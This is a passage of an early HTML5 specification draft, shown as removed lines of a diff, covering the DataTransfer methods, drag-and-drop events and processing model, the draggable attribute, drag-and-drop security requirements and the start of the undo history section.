-   title=dom-DataTransfer-clearData><code>clearData(<var
-   title="">format</var>)</code></dfn> method must clear the <code><a
-   href="#datatransfer0">DataTransfer</a></code> object of any data
-   associated with the given <var title="">format</var>. If <var
-   title="">format</var> is the value "<code title="">Text</code>", then it
-   must be treated as "<code title="">text/plain</code>". If the <var
-   title="">format</var> is "<code title="">URL</code>", then it must be
-   treated as "<code title="">text/uri-list</code>".
-
-  <p>The <dfn id=setdata title=dom-DataTransfer-setData><code>setData(<var
-   title="">format</var>, <var title="">data</var>)</code></dfn> method must
-   add <var title="">data</var> to the data stored in the <code><a
-   href="#datatransfer0">DataTransfer</a></code> object, labelled as being of
-   the type <var title="">format</var>. This must replace any previous data
-   that had been set for that format. If <var title="">format</var> is the
-   value "<code title="">Text</code>", then it must be treated as "<code
-   title="">text/plain</code>". If the <var title="">format</var> is "<code
-   title="">URL</code>", then it must be treated as "<code
-   title="">text/uri-list</code>".
-
-  <p>The <dfn id=getdata title=dom-DataTransfer-getData><code>getData(<var
-   title="">format</var>)</code></dfn> method must return the data that is
-   associated with the type <var title="">format</var>, if any, and must
-   return the empty string otherwise. If <var title="">format</var> is the
-   value "<code title="">Text</code>", then it must be treated as "<code
-   title="">text/plain</code>". If the <var title="">format</var> is "<code
-   title="">URL</code>", then the data associated with the "<code
-   title="">text/uri-list</code>" format must be parsed as appropriate for
-   <code title="">text/uri-list</code> data, and the first URI from the list
-   must be returned. If there is no data with that format, or if there is but
-   it has no URIs, then the method must return the empty string. <a
-   href="#refsRFC2483">[RFC2483]</a>
-
-  <p>The <dfn id=setdragimage
-   title=dom-DataTransfer-setDragImage><code>setDragImage(<var
-   title="">element</var>, <var title="">x</var>, <var
-   title="">y</var>)</code></dfn> method sets which element to use <a
-   href="#base-dnd-feedback">to generate the drag feedback</a>. The <var
-   title="">element</var> argument can be any <code>Element</code>; if it is
-   an <code><a href="#img0">img</a></code> element, then the user agent
-   should use the element's image (at its intrinsic size) to generate the
-   feedback, otherwise the user agent should base the feedback on the given
-   element (but the exact mechanism for doing so is not specified).
-
-  <p>The <dfn id=addelement
-   title=dom-DataTransfer-addElement><code>addElement(<var
-   title="">element</var>)</code></dfn> method is an alternative way of
-   specifying how the user agent is to <a href="#base-dnd-feedback">render
-   the drag feedback</a>. It adds an element to the <code><a
-   href="#datatransfer0">DataTransfer</a></code> object.
-
-  <h4 id=events0><span class=secno>6.3.2. </span>Events fired during a
-   drag-and-drop action</h4>
-
-  <p>The following events are involved in the drag-and-drop model. Whenever
-   the processing model described below causes one of these events to be
-   fired, the event fired must use the <code><a
-   href="#dragevent">DragEvent</a></code> interface defined above, must have
-   the bubbling and cancelable behaviours given in the table below, and must
-   have the context information set up as described after the table.
-
-  <table>
-   <thead>
-    <tr>
-     <th> Event Name
-
-     <th> Target
-
-     <th> Bubbles?
-
-     <th> Cancelable?
-
-     <th> <code title=dom-DataTransfer-addElement><a
-      href="#addelement">dataTransfer</a></code>
-
-     <th> <code title=dom-DataTransfer-effectAllowed><a
-      href="#effectallowed">effectAllowed</a></code>
-
-     <th> <code title=dom-DataTransfer-dropEffect><a
-      href="#dropeffect">dropEffect</a></code>
-
-     <th> Default Action
-
-   <tbody>
-    <tr>
-     <td><dfn id=dragstart title=event-dragstart><code>dragstart</code></dfn>
-
-     <td><a href="#source">Source node</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSAND#x2713; Cancelable
-
-     <td>Contains <a href="#source">source node</a> unless a selection is
-      being dragged, in which case it is empty
-
-     <td><code title="">uninitialized</code>
-
-     <td><code title="">none</code>
-
-     <td>Initiate the drag-and-drop operation
-
-    <tr>
-     <td><dfn id=drag title=event-drag><code>drag</code></dfn>
-
-     <td><a href="#source">Source node</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSAND#x2713; Cancelable
-
-     <td>Empty
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><code title="">none</code>
-
-     <td>Continue the drag-and-drop operation
-
-    <tr>
-     <td><dfn id=dragenter title=event-dragenter><code>dragenter</code></dfn>
-
-     <td><a href="#immediate">Immediate user selection</a> or <a
-      href="#the-body0">the body element</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSAND#x2713; Cancelable
-
-     <td>Empty
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><a href="#dropEffect-initialisation">Based on
-      <code>effectAllowed</code> value</a>
-
-     <td>Reject <a href="#immediate">immediate user selection</a> as
-      potential <a href="#current0" title="current target element">target
-      element</a>
-
-    <tr>
-     <td><dfn id=dragleave title=event-dragleave><code>dragleave</code></dfn>
-
-     <td><a href="#current0" title="current target element">Previous target
-      element</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSANDmdash;
-
-     <td>Empty
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><code title="">none</code>
-
-     <td>None
-
-    <tr>
-     <td><dfn id=dragover title=event-dragover><code>dragover</code></dfn>
-
-     <td><a href="#current0">Current target element</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSAND#x2713; Cancelable
-
-     <td>Empty
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><a href="#dropEffect-initialisation">Based on
-      <code>effectAllowed</code> value</a>
-
-     <td>Reset the <a href="#current1">current drag operation</a> to "none"
-
-    <tr>
-     <td><dfn id=drop title=event-drop><code>drop</code></dfn>
-
-     <td><a href="#current0">Current target element</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSAND#x2713; Cancelable
-
-     <td><code>getData()</code> returns data set in <code
-      title=dom-dragstart>dragstart</code> event
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><a href="#current1">Current drag operation</a>
-
-     <td>Varies
-
-    <tr>
-     <td><dfn id=dragend title=event-dragend><code>dragend</code></dfn>
-
-     <td><a href="#source">Source node</a>
-
-     <td>AMPERSAND#x2713; Bubbles
-
-     <td>AMPERSANDmdash;
-
-     <td>Empty
-
-     <td><a href="#effectAllowed-initialisation">Same as last event</a>
-
-     <td><a href="#current1">Current drag operation</a>
-
-     <td>Varies
-  </table>
-
-  <p>The <code title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> object's contents are empty
-   except for <code title=event-dragstart><a
-   href="#dragstart">dragstart</a></code> events and <code
-   title=event-drop><a href="#drop">drop</a></code> events, for which the
-   contents are set as described in the processing model, below.
-
-  <p id=effectAllowed-initialisation>The <code
-   title=dom-DataTransfer-effectAllowed><a
-   href="#effectallowed">effectAllowed</a></code> attribute must be set to
-   "<code title="">uninitialized</code>" for <code title=event-dragstart><a
-   href="#dragstart">dragstart</a></code> events, and to whatever value the
-   field had after the last drag-and-drop event was fired for all other
-   events (only counting events fired by the user agent for the purposes of
-   the drag-and-drop model described below).
-
-  <p id=dropEffect-initialisation>The <code
-   title=dom-DataTransfer-dropEffect><a
-   href="#dropeffect">dropEffect</a></code> attribute must be set to "<code
-   title="">none</code>" for <code title=event-dragstart><a
-   href="#dragstart">dragstart</a></code>, <code title=event-drag><a
-   href="#drag">drag</a></code>, <code title=event-dragleave><a
-   href="#dragleave">dragleave</a></code>, and <code title=event-dragend><a
-   href="#dragend">dragend</a></code> events (except when stated otherwise in
-   the algorithms given in the sections below), to the value corresponding to
-   the <a href="#current1">current drag operation</a> for <code
-   title=event-drop><a href="#drop">drop</a></code> events, and to a value
-   based on the <code title=dom-DataTransfer-effectAllowed><a
-   href="#effectallowed">effectAllowed</a></code> attribute's value and to
-   the drag-and-drop source, as given by the following table, for the
-   remaining events (<code title=event-dragenter><a
-   href="#dragenter">dragenter</a></code> and <code title=event-dragover><a
-   href="#dragover">dragover</a></code>):
-
-  <table>
-   <thead>
-    <tr>
-     <th><code title=dom-DataTransfer-effectAllowed><a
-      href="#effectallowed">effectAllowed</a></code>
-
-     <th><code title=dom-DataTransfer-dropEffect><a
-      href="#dropeffect">dropEffect</a></code>
-
-   <tbody>
-    <tr>
-     <td><code title="">none</code>
-
-     <td><code title="">none</code>
-
-    <tr>
-     <td><code title="">copy</code>, <code title="">copyLink</code>, <code
-      title="">copyMove</code>, <code title="">all</code>
-
-     <td><code title="">copy</code>
-
-    <tr>
-     <td><code title="">link</code>, <code title="">linkMove</code>
-
-     <td><code title="">link</code>
-
-    <tr>
-     <td><code title="">move</code>
-
-     <td><code title="">move</code>
-
-    <tr>
-     <td><code title="">uninitialized</code> when what is being dragged is a
-      selection from a text field
-
-     <td><code title="">move</code>
-
-    <tr>
-     <td><code title="">uninitialized</code> when what is being dragged is a
-      selection
-
-     <td><code title="">copy</code>
-
-    <tr>
-     <td><code title="">uninitialized</code> when what is being dragged is an
-      <code><a href="#a0">a</a></code> element with an <code>href</code>
-      attribute
-
-     <td><code title="">link</code>
-
-    <tr>
-     <td>Any other case
-
-     <td><code title="">copy</code>
-  </table>
-
-  <h4 id=drag-and-drop><span class=secno>6.3.3. </span>Drag-and-drop
-   processing model</h4>
-
-  <p>When the user attempts to begin a drag operation, the user agent must
-   first determine what is being dragged. If the drag operation was invoked
-   on a selection, then it is the selection that is being dragged. Otherwise,
-   it is the first element, going up the ancestor chain, starting at the node
-   that the user tried to drag, that has the DOM attribute <code
-   title=dom-draggable><a href="#draggable1">draggable</a></code> set to
-   true. If there is no such element, then nothing is being dragged, the
-   drag-and-drop operation is never started, and the user agent must not
-   continue with this algorithm.
-
-  <p class=note><code><a href="#img0">img</a></code> elements and <code><a
-   href="#a0">a</a></code> elements with an <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute have
-   their <code title=dom-draggable><a href="#draggable1">draggable</a></code>
-   attribute set to true by default.
-
-  <p>If the user agent determines that something can be dragged, a <code
-   title=event-dragstart><a href="#dragstart">dragstart</a></code> event must
-   then be fired.
-
-  <p>If it is a selection that is being dragged, then this event must be
-   fired on the node that the user started the drag on (typically the text
-   node that the user originally clicked). If the user did not specify a
-   particular node, for example if the user just told the user agent to begin
-   a drag of "the selection", then the event must be fired on the deepest
-   node that is a common ancestor of all parts of the selection.
-
-  <p>If it is not a selection that is being dragged, then the event must be
-   fired on the element that is being dragged.
-
-  <p>The node on which the event is fired is the <dfn id=source>source
-   node</dfn>. Multiple events are fired on this node during the course of
-   the drag-and-drop operation.
-
-  <p>If it is a selection that is being dragged, the <code
-   title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> member of the event must be
-   created with no nodes. Otherwise, it must be created containing just the
-   <a href="#source">source node</a>. Script can use the <code
-   title=dom-DataTransfer-addElement><a
-   href="#addelement">addElement()</a></code> method to add further elements
-   to the list of what is being dragged.
-
-  <p>If it is a selection that is being dragged, the <code
-   title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> member of the event must have
-   the text of the selection added to it as the data associated with the
-   <code title="">text/plain</code> format. Otherwise, if it is an <code><a
-   href="#img0">img</a></code> element being dragged, then the value of the
-   element's <code title=dom-img-src><a href="#src0">src</a></code> DOM
-   attribute must be added, associated with the <code
-   title="">text/uri-list</code> format. Otherwise, if it is an <code><a
-   href="#a0">a</a></code> element being dragged, then the value of the
-   element's <code title=dom-a-href><a href="#href3">href</a></code> DOM
-   attribute must be added, associated with the <code
-   title="">text/uri-list</code> format. Otherwise, no data is added to the
-   object by the user agent.
-
-  <p>If the event is canceled, then the drag and drop operation must not
-   occur; the user agent must not continue with this algorithm.
-
-  <p>If it is not canceled, then the drag and drop operation must be
-   initiated.
-
-  <p class=note>Since events with no event handlers registered are, almost by
-   definition, never canceled, drag and drop is always available to the user
-   if the author does not specifically prevent it.
-
-  <p id=base-dnd-feedback>The drag-and-drop feedback must be generated from
-   the first of the following sources that is available:
-
-  <ol>
-   <li>The element specified in the last call to the <code
-    title=dom-DataTransfer-setDragImage><a
-    href="#setdragimage">setDragImage()</a></code> method of the <code
-    title=dom-DragEvent-dataTransfer><a
-    href="#datatransfer">dataTransfer</a></code> object of the <code
-    title=event-dragstart><a href="#dragstart">dragstart</a></code> event, if
-    the method was called. In visual media, if this is used, the <var
-    title="">x</var> and <var title="">y</var> arguments that were passed to
-    that method should be used as hints for where to put the cursor relative
-    to the resulting image. The values are expressed as distances in CSS
-    pixels from the left side and from the top side of the image
-    respectively. <a href="#refsCSS21">[CSS21]</a></li>
-   <!--
-   CSS3 UNITS would be better -->
-
-   <li>The elements that were added to the <code
-    title=dom-DragEvent-dataTransfer><a
-    href="#datatransfer">dataTransfer</a></code> object, both before the
-    event was fired, and during the handling of the event using the <code
-    title=dom-DataTransfer-addElement><a
-    href="#addelement">addElement()</a></code> method, if any such elements
-    were indeed added.
-
-   <li>The selection that the user is dragging.
-  </ol>
-  <!-- XXX xref also link to the section that explains how to
-  render drag-and-drop, :drag, :drop, etc. Safari has a pseudo-class
-  that it uses to render an element off-screen to use as the drag
-  feedback. -->
-
-  <p>The user agent must take a note of <a href="#setdata"
-   title=dom-DataTransfer-setData>the data that was placed</a> in the <code
-   title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> object. This data will be
-   made available again when the <code title=event-drop><a
-   href="#drop">drop</a></code> event is fired.
-
-  <p>From this point until the end of the drag-and-drop operation, device
-   input events (e.g. mouse and keyboard events) must be suppressed. In
-   addition, the user agent must track all DOM changes made during the
-   drag-and-drop operation, and add them to its <a href="#undo">undo
-   history</a> as one atomic operation once the drag-and-drop operation has
-   ended.
-
-  <p>During the drag operation, the element directly indicated by the user as
-   the drop target is called the <dfn id=immediate>immediate user
-   selection</dfn>. (Only elements can be selected by the user; other nodes
-   must not be made available as drop targets.) However, the <a
-   href="#immediate">immediate user selection</a> is not necessarily the <dfn
-   id=current0>current target element</dfn>, which is the element currently
-   selected for the drop part of the drag-and-drop operation. The <a
-   href="#immediate">immediate user selection</a> changes as the user selects
-   different elements (either by pointing at them with a pointing device, or
-   by selecting them in some other way). The <a href="#current0">current
-   target element</a> changes when the <a href="#immediate">immediate user
-   selection</a> changes, based on the results of event handlers in the
-   document, as described below.
-
-  <p>Both the <a href="#current0">current target element</a> and the <a
-   href="#immediate">immediate user selection</a> can be null, which means no
-   target element is selected. They can also both be elements in other
-   (DOM-based) documents, or other (non-Web) programs altogether. (For
-   example, a user could drag text to a word-processor.) The <a
-   href="#current0">current target element</a> is initially null.
-
-  <p>In addition, there is also a <dfn id=current1>current drag
-   operation</dfn>, which can take on the values "none", "copy", "link", and
-   "move". Initially it has the value "none". It is updated by the user agent
-   as described in the steps below.
-
-  <p>User agents must, every 350ms (AMPERSAND#xB1;200ms), perform the following steps
-   in sequence. (If the user agent is still performing the previous iteration
-   of the sequence when the next iteration becomes due, the user agent must
-   not execute the overdue iteration, effectively "skipping missed frames" of
-   the drag and drop operation.)
-
-  <ol>
-   <li>
-    <p>First, the user agent must fire a <code title=event-drag><a
-     href="#drag">drag</a></code> event at the <a href="#source">source
-     node</a>. If this event is canceled, the user agent must set the <a
-     href="#current1">current drag operation</a> to none (no drag operation).</p>
-
-   <li>
-    <p>Next, if the <code title=event-drag><a href="#drag">drag</a></code>
-     event was not canceled and the user has not ended the drag-and-drop
-     operation, the user agent must check the state of the drag-and-drop
-     operation, as follows:</p>
-
-    <ol>
-     <li>
-      <p>First, if the user is indicating a different <a
-       href="#immediate">immediate user selection</a> than during the last
-       iteration (or if this is the first iteration), and if this <a
-       href="#immediate">immediate user selection</a> is not the same as the
-       <a href="#current0">current target element</a>, then the <a
-       href="#current0">current target element</a> must be updated, as
-       follows:</p>
-
-      <ol>
-       <li>
-        <p>If the new <a href="#immediate">immediate user selection</a> is
-         null, or is in a non-DOM document or application, then set the <a
-         href="#current0">current target element</a> to the same value.</p>
-
-       <li>
-        <p>Otherwise, the user agent must fire a <code
-         title=event-dragenter><a href="#dragenter">dragenter</a></code>
-         event at the <a href="#immediate">immediate user selection</a>.</p>
-
-       <li>
-        <p>If the event is canceled, then the <a href="#current0">current
-         target element</a> must be set to the <a href="#immediate">immediate
-         user selection</a>.</p>
-
-       <li>
-        <p>Otherwise, if the <a href="#current0">current target element</a>
-         is not <a href="#the-body0">the body element</a>, the user agent
-         must fire a <code title=event-dragenter><a
-         href="#dragenter">dragenter</a></code> event at <a
-         href="#the-body0">the body element</a>, and the <a
-         href="#current0">current target element</a> must be set to <a
-         href="#the-body0">the body element</a>, regardless of whether that
-         event was canceled or not. (If <a href="#the-body0">the body
-         element</a> is null, then the <a href="#current0">current target
-         element</a> would be set to null too in this case, it wouldn't be
-         set to the <code>Document</code> object.)</p>
-      </ol>
-
-     <li>
-      <p>If the previous step caused the <a href="#current0">current target
-       element</a> to change, and if the previous target element was not null
-       or a part of a non-DOM document, the user agent must fire a <code
-       title=event-dragleave><a href="#dragleave">dragleave</a></code> event
-       at the previous target element.</p>
-
-     <li>
-      <p>If the <a href="#current0">current target element</a> is a DOM
-       element, the user agent must fire a <code title=event-dragover><a
-       href="#dragover">dragover</a></code> event at this <a
-       href="#current0">current target element</a>.</p>
-
-      <p>If the <code title=event-dragover><a
-       href="#dragover">dragover</a></code> event is canceled, the <a
-       href="#current1">current drag operation</a> must be reset to "none".</p>
-
-      <p>Otherwise, the <a href="#current1">current drag operation</a> must
-       be set based on the values the <code
-       title=dom-DataTransfer-effectAllowed><a
-       href="#effectallowed">effectAllowed</a></code> and <code
-       title=dom-DataTransfer-dropEffect><a
-       href="#dropeffect">dropEffect</a></code> attributes of the <code
-       title=dom-DragEvent-dataTransfer><a
-       href="#datatransfer">dataTransfer</a></code> object had after the
-       event was handled, as per the following table:</p>
-
-      <table>
-       <thead>
-        <tr>
-         <th><code title=dom-DataTransfer-effectAllowed><a
-          href="#effectallowed">effectAllowed</a></code>
-
-         <th><code title=dom-DataTransfer-dropEffect><a
-          href="#dropeffect">dropEffect</a></code>
-
-         <th>Drag operation
-
-       <tbody>
-        <tr>
-         <td><code title="">uninitialized</code>, <code title="">copy</code>,
-          <code title="">copyLink</code>, <code title="">copyMove</code>, or
-          <code title="">all</code>
-
-         <td><code title="">copy</code>
-
-         <td>"copy"
-
-        <tr>
-         <td><code title="">uninitialized</code>, <code title="">link</code>,
-          <code title="">copyLink</code>, <code title="">linkMove</code>, or
-          <code title="">all</code>
-
-         <td><code title="">link</code>
-
-         <td>"link"
-
-        <tr>
-         <td><code title="">uninitialized</code>, <code title="">move</code>,
-          <code title="">copyMove</code>, <code title="">linkMove</code>, or
-          <code title="">all</code>
-
-         <td><code title="">move</code>
-
-         <td>"move"
-
-        <tr>
-         <td colspan=2>Any other case
-
-         <td>"none"
-      </table>
-
-      <p>Then, regardless of whether the <code title=event-dragover><a
-       href="#dragover">dragover</a></code> event was canceled or not, the
-       drag feedback (e.g. the mouse cursor) must be updated to match the <a
-       href="#current1">current drag operation</a>, as follows:</p>
-
-      <table>
-       <thead>
-        <tr>
-         <th>Drag operation
-
-         <th>Feedback
-
-       <tbody>
-        <tr>
-         <td>"copy"
-
-         <td>Data will be copied if dropped here.
-
-        <tr>
-         <td>"link"
-
-         <td>Data will be linked if dropped here.
-
-        <tr>
-         <td>"move"
-
-         <td>Data will be moved if dropped here.
-
-        <tr>
-         <td>"none"
-
-         <td>No operation allowed, dropping here will cancel the drag and
-          drop operation.
-      </table>
-
-     <li>
-      <p>Otherwise, if the <a href="#current0">current target element</a> is
-       not a DOM element, the user agent must use platform-specific
-       mechanisms to determine what drag operation is being performed (none,
-       copy, link, or move). This sets the <em><a href="#current1">current
-       drag operation</a></em>.</p>
-    </ol>
-
-   <li>
-    <p>Otherwise, if the user ended the drag and drop operation (e.g. by
-     releasing the mouse button in a mouse-driven drag-and-drop interface),
-     or if the <code title=event-drag><a href="#drag">drag</a></code> event
-     was cancelled, then this will be the last iteration. The user agent must
-     follow the following steps, then stop looping.</p>
-
-    <ol>
-     <li>
-      <p>If the <a href="#current1">current drag operation</a> is none (no
-       drag operation), or, if the user ended the drag-and-drop operation by
-       canceling it (e.g. by hitting the <kbd>Escape</kbd> key), or if the <a
-       href="#current0">current target element</a> is null, then the drag
-       operation failed. If the <a href="#current0">current target
-       element</a> is a DOM element, the user agent must fire a <code
-       title=event-dragleave><a href="#dragleave">dragleave</a></code> event
-       at it; otherwise, if it is not null, it must use platform-specific
-       conventions for drag cancellation.</p>
-
-     <li>
-      <p>Otherwise, the drag operation was as success. If the <a
-       href="#current0">current target element</a> is a DOM element, the user
-       agent must fire a <code title=event-drop><a
-       href="#drop">drop</a></code> event at it; otherwise, it must use
-       platform-specific conventions for indicating a drop.</p>
-
-      <p>When the target is a DOM element, the <code
-       title=dom-DataTransfer-dropEffect><a
-       href="#dropeffect">dropEffect</a></code> attribute of the event's
-       <code title=dom-DragEvent-dataTransfer><a
-       href="#datatransfer">dataTransfer</a></code> object must be given the
-       value representing the <a href="#current1">current drag operation</a>
-       (<code title="">copy</code>, <code title="">link</code>, or <code
-       title="">move</code>), and the object must be set up so that the <code
-       title=dom-DataTransfer-getData><a href="#getdata">getData()</a></code>
-       method will return the data that was added during the <code
-       title=event-dragstart><a href="#dragstart">dragstart</a></code> event.</p>
-
-      <p>If the event is canceled, the <a href="#current1">current drag
-       operation</a> must be set to the value of the <code
-       title=dom-DataTransfer-dropEffect><a
-       href="#dropeffect">dropEffect</a></code> attribute of the event's
-       <code title=dom-DragEvent-dataTransfer><a
-       href="#datatransfer">dataTransfer</a></code> object as it stood after
-       the event was handled.</p>
-
-      <p>Otherwise, the event is not canceled, and the user agent must
-       perform the event's default action, which depends on the exact target
-       as follows:</p>
-
-      <dl class=switch>
-       <dt>If the <a href="#current0">current target element</a> is a text
-        field (e.g. <code>textarea</code>, or an <code>input</code> element
-        with <code title="">type="text"</code><!--XXX xref-->)
-
-       <dd>The user agent must insert the data associated with the
-        <code>text/plain</code> format, if any, into the text field in a
-        manner consistent with platform-specific conventions (e.g. inserting
-        it at the current mouse cursor position, or inserting it at the end
-        of the field).
-
-       <dt>Otherwise
-
-       <dd>Reset the <a href="#current1">current drag operation</a> to
-        "none".
-      </dl>
-
-     <li>
-      <p>Finally, the user agent must fire a <code title=event-dragend><a
-       href="#dragend">dragend</a></code> event at the <a
-       href="#source">source node</a>, with the <code
-       title=dom-DataTransfer-dropEffect><a
-       href="#dropeffect">dropEffect</a></code> attribute of the event's
-       <code title=dom-DragEvent-dataTransfer><a
-       href="#datatransfer">dataTransfer</a></code> object being set to the
-       value corresponding to the <a href="#current1">current drag
-       operation</a>.</p>
-
-      <p class=note>The <a href="#current1">current drag operation</a> can
-       change during the processing of the <code title=event-drop><a
-       href="#drop">drop</a></code> event, if one was fired.</p>
-
-      <p>The event is not cancelable. After the event has been handled, the
-       user agent must act as follows:</p>
-
-      <dl class=switch>
-       <dt>If the <a href="#current0">current target element</a> is a text
-        field (e.g. <code>textarea</code>, or an <code>input</code> element
-        with <code title="">type="text"</code><!--XXX xref-->), and a <code
-        title=event-drop><a href="#drop">drop</a></code> event was fired in
-        the previous step, and the <a href="#current1">current drag
-        operation</a> is "move", and the source of the drag and drop
-        operation is a selection in the DOM
-
-       <dd>The user agent should delete the range representing the dragged
-        selection from the DOM.
-
-       <dt>If the <a href="#current0">current target element</a> is a text
-        field (e.g. <code>textarea</code>, or an <code>input</code> element
-        with <code title="">type="text"</code><!--XXX xref-->), and a <code
-        title=event-drop><a href="#drop">drop</a></code> event was fired in
-        the previous step, and the <a href="#current1">current drag
-        operation</a> is "move", and the source of the drag and drop
-        operation is a selection in a text field
-
-       <dd>The user agent should delete the dragged selection from the
-        relevant text field.
-
-       <dt>Otherwise
-
-       <dd>The event has no default action.
-      </dl>
-    </ol>
-  </ol>
-
-  <h5 id=when-the><span class=secno>6.3.3.1. </span>When the drag-and-drop
-   operation starts or ends in another document</h5>
-
-  <p>The model described above is independent of which <code>Document</code>
-   object the nodes involved are from; the events must be fired as described
-   above and the rest of the processing model must be followed as described
-   above, irrespective of how many documents are involved in the operation.
-
-  <h5 id=when-the0><span class=secno>6.3.3.2. </span>When the drag-and-drop
-   operation starts or ends in another application</h5>
-
-  <p>If the drag is initiated in another application, the <a
-   href="#source">source node</a> is not a DOM node, and the user agent must
-   use platform-specific conventions instead when the requirements above
-   involve the source node. User agents in this situation must act as if the
-   dragged data had been added to the <code><a
-   href="#datatransfer0">DataTransfer</a></code> object when the drag
-   started, even though no <code title=event-dragstart><a
-   href="#dragstart">dragstart</a></code> event was actually fired; user
-   agents must similarly use platform-specific conventions when deciding on
-   what drag feedback to use.
-
-  <p>If a drag is started in a document but ends in another application, then
-   the user agent must instead replace the parts of the processing model
-   relating to handling the <em>target</em> according to platform-specific
-   conventions.
-
-  <p>In any case, scripts running in the context of the document must not be
-   able to distinguish the case of a drag-and-drop operation being started or
-   ended in another application from the case of a drag-and-drop operation
-   being started or ended in another document from another domain.
-
-  <h4 id=the-draggable><span class=secno>6.3.4. </span>The <dfn id=draggable0
-   title=attr-draggable><code>draggable</code></dfn> attribute</h4>
-
-  <p>All elements may have the <code title=attr-draggable><a
-   href="#draggable0">draggable</a></code> content attribute set. If the
-   attribute is set, it must be set either to the empty string, to the value
-   <code title="">true</code>, or to the value <code title="">false</code>.
-
-  <p class=big-issue>redefine this in terms of a microsyntax
-
-  <p>The <dfn id=draggable1 title=dom-draggable><code>draggable</code></dfn>
-   DOM attribute, whose value depends on the content attribute's in the way
-   described below, controls whether or not the element is draggable.
-   Generally, only text selections are draggable, but elements whose <code
-   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM
-   attribute is true become draggable as well.
-
-  <p>If an element has the <code title=attr-draggable><a
-   href="#draggable0">draggable</a></code> content attribute set to the empty
-   string or to the literal value <code title="">true</code>, the <code
-   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM
-   attribute must return true.
-
-  <p>Otherwise, if an element has the <code title=attr-draggable><a
-   href="#draggable0">draggable</a></code> content attribute set to the
-   literal value <code title="">false</code>, the <code
-   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM
-   attribute must return false.
-
-  <p>Otherwise, if the element is an <code><a href="#img0">img</a></code>
-   element, or, if the element is an <code><a href="#a0">a</a></code> element
-   with an <code title=attr-hyperlink-href><a href="#href5">href</a></code>
-   content attribute, the <code title=dom-draggable><a
-   href="#draggable1">draggable</a></code> DOM attribute must return true.
-
-  <p>Otherwise, the <code title=dom-draggable><a
-   href="#draggable1">draggable</a></code> DOM must return false.
-
-  <p>If the <code title=dom-draggable><a
-   href="#draggable1">draggable</a></code> DOM attribute is set to the value
-   false, the <code title=attr-draggable><a
-   href="#draggable0">draggable</a></code> content attribute must be set to
-   the literal value <code title="">false</code>. If the <code
-   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM
-   attribute is set to the value true, the <code title=attr-draggable><a
-   href="#draggable0">draggable</a></code> content attribute must be set to
-   the literal value <code title="">true</code>.
-
-  <h4 id=security1><span class=secno>6.3.5. </span>Security risks in the
-   drag-and-drop model</h4>
-
-  <p>User agents must not make the data added to the <code><a
-   href="#datatransfer0">DataTransfer</a></code> object during the <code
-   title=event-dragstart><a href="#dragstart">dragstart</a></code> event
-   available to scripts until the <code title=event-drop><a
-   href="#drop">drop</a></code> event, because otherwise, if a user were to
-   drag sensitive information from one document to a second document,
-   crossing a hostile third document in the process, the hostile document
-   could intercept the data.
-
-  <p>For the same reason, user agents must only consider a drop to be
-   successful if the user specifically ended the drag operation AMPERSANDmdash; if
-   any scripts end the drag operation, it must be considered unsuccessful
-   (canceled) and the <code title=event-drop><a href="#drop">drop</a></code>
-   event must not be fired.
-
-  <p>User agents should take care to not start drag and drop operations in
-   response to script actions. For example, in a mouse-and-window
-   environment, if a script moves a window while the user has his mouse
-   button depressed, the UA would not consider that to start a drag. This is
-   important because otherwise UAs could cause data to be dragged from
-   sensitive sources and dropped into hostile documents without the user's
-   consent.
-
-  <h3 id=undo><span class=secno>6.4. </span><dfn id=undo-history0>Undo
-   history</dfn></h3>
-
-  <p class=big-issue>There has got to be a better way of doing this, surely.
-
-  <p>The user agent must associate an <dfn id=undo-transaction>undo
-   transaction history</dfn> with each <code><a
-   href="#htmldocument">HTMLDocument</a></code> object.
-
-  <p>The <a href="#undo-transaction">undo transaction history</a> is a list
-   of entries. The entries are of two type: <a href="#dom-changes">DOM
-   changes</a> and <a href="#undo-object" title="undo object">undo
-   objects</a>.
-
-  <p>Each <dfn id=dom-changes>DOM changes</dfn> entry in the <a
-   href="#undo-transaction">undo transaction history</a> consists of batches
-   of one or more of the following:
-
-  <ul>
-   <li>Changes to the <a href="#content">content attributes</a> of an
-    <code>Element</code> node.
-
-   <li>Changes to the <a href="#dom-attributes">DOM attributes</a> of a
-    <code>Node</code>.</li>
-   <!-- XXX uh, these change on their own, so
-   clearly this isn't going to fly. Which DOM attributes, exactly? -->
-
-   <li>Changes to the DOM hierarchy of nodes that are descendants of the
-    <code><a href="#htmldocument">HTMLDocument</a></code> object
-    (<code>parentNode</code>, <code>childNodes</code>).
-  </ul>
-
-  <p><dfn id=undo-object>Undo object</dfn> entries consist of objects
-   representing state that scripts running in the document are managing. For
-   example, a Web mail application could use an <a href="#undo-object">undo
-   object</a> to keep track of the fact that a user has moved an e-mail to a
-   particular folder, so that the user can undo the action and have the
-   e-mail return to its former location.
-
-  <p>Broadly speaking, <a href="#dom-changes">DOM changes</a> entries are
-   handled by the UA in response to user edits of form controls and
-   <span>editing hosts</span> on the page, and <a href="#undo-object">undo
-   object</a> entries are handled by script in response to higher-level user
-   actions (such as interactions with server-side state, or in the
-   implementation of a drawing tool).
-
-  <h4 id=the-undomanager><span class=secno>6.4.1. </span>The <code><a
-   href="#undomanager">UndoManager</a></code> interface</h4>
-
-  <div class=big-issue>
